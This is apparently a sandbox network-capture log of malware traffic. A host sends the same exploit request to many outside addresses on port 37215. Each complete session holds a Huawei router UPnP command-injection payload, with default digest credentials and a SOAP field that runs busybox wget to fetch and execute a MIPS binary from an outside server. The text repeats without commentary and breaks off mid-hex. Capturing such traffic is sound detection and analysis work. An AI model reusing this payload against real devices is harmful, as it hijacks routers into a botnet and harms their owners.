Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	49896	156.186.192.169	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.402651072 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	47108	156.1.31.252	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.403158903 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	47568	156.227.147.148	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.403690100 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	59258	197.85.113.143	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.404207945 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	41344	41.206.100.21	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.404732943 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	34438	41.11.208.38	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.405247927 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	46270	197.101.126.167	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.405735016 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	33198	41.204.185.224	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.406260014 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	34534	197.105.1.48	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.406764030 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	47650	156.18.176.47	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.407239914 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	43096	197.191.47.123	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.407766104 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 